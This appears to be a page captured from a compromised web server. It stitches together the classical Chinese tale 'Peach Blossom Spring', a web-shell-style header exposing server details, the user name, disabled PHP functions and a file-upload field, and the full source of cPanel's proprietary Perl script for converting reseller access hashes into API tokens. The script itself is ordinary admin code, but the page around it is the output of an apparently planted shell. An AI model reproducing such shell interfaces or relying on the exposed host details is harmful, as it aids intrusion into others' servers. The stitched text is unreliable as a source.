晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /scripts/ |
Upload File : |
#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - scripts/convert_accesshash_to_token Copyright 2022 cPanel, L.L.C.
# All rights reserved.
# copyright@cpanel.net http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
use strict;
use warnings;
use File::Basename ();
use Getopt::Long ();
use Cpanel::Rand::Get ();
use Cpanel::ResellerFunctions ();
use Cpanel::SafeFile ();
use Cpanel::ConfigFiles ();
use Cpanel::Security::Authn::APITokens::Write::whostmgr ();
use Whostmgr::AccessHash ();
use Digest::SHA ();
exit _main(@ARGV) unless caller;
sub _main {
my @args = @_;
unless ( $> == 0 && $< == 0 ) {
return bail_out('error: This program can only be run by root!');
}
Getopt::Long::GetOptionsFromArray(
\@args,
'help|?' => \my $print_help,
'verbose' => \my $verbose,
'all-resellers' => \my $all_resellers,
) || return bail_out('Invalid usage. See --help');
return print_help() if $print_help;
$ENV{'REMOTE_USER'} = 'root';
my @users = @args;
@users = Cpanel::ResellerFunctions::getresellerslist() if $all_resellers;
@users = ( $ENV{'REMOTE_USER'} ) if !@users;
foreach my $user (@users) {
my $details = eval { import_accesshash($user) };
if ($@) {
next if $@ =~ m/^No accesshash exists for/;
print STDERR "error: $user: $@";
}
elsif ($verbose) {
print "Imported accesshash for “$user” as “$details->{name}”\n";
}
}
return 0;
}
sub _update_accounting_log {
my ( $action, $token_name ) = @_;
my $acctlog = Cpanel::SafeFile::safeopen( my $accounting_log_fh, '>>', $Cpanel::ConfigFiles::ACCOUNTING_LOG_FILE );
if ( !$acctlog ) {
logger->warn("Could not write to /var/cpanel/accounting.log");
}
else {
chmod 0600, $Cpanel::ConfigFiles::ACCOUNTING_LOG_FILE;
# The accounting log format is:
# <time>:<action keyword>:<remote user>:<user>:<domain>:<other items particular to the action>
# We are using "not-applicable" for the domain since it isn't really necessary here.
print $accounting_log_fh localtime() . ":$action:$ENV{'REMOTE_USER'}:$ENV{'REMOTE_USER'}:not-applicable:$token_name\n";
Cpanel::SafeFile::safeclose( $accounting_log_fh, $acctlog );
}
return 1;
}
sub import_accesshash {
my ($user) = @_;
my ( $status, $msg, $accesshash ) = Whostmgr::AccessHash::get_access_hash($user);
die "$msg\n" if !$status;
$accesshash =~ s/\s//g;
my $token_hash = Digest::SHA::sha512_hex($accesshash);
my $data_obj = Cpanel::Security::Authn::APITokens::Write::whostmgr->new( { user => $user } );
my $count = 0;
my $suffix = '';
my $basename = "accesshash-" . time;
my $token_details;
while ( !$token_details ) {
die "Cannot import accesshash: $@" if ++$count > 25;
$token_details = eval {
$data_obj->import_token_hash(
{
name => "$basename$suffix",
token_hash => $token_hash,
}
);
};
# TODO: Why no error report here?
$suffix = "-" . Cpanel::Rand::Get::getranddata( 8, [ 0 .. 9, 'A' .. 'Z' ] );
}
$data_obj->save_changes_to_disk();
_update_accounting_log( "CREATEAPITOKEN", "$basename$suffix" );
return $token_details;
}
sub print_help {
my $basename = File::Basename::basename($0);
print <<HELP;
Usage: $basename [OPTIONS] [reseller ...]
Options:
-?, --help Display this message
--verbose Print all of the tokens generated
--all-resellers Process all reseller users
HELP
return 0;
}
sub bail_out {
my $error_msg = shift;
print STDERR $error_msg . "\n\n" if $error_msg;
print_help();
return 1;
}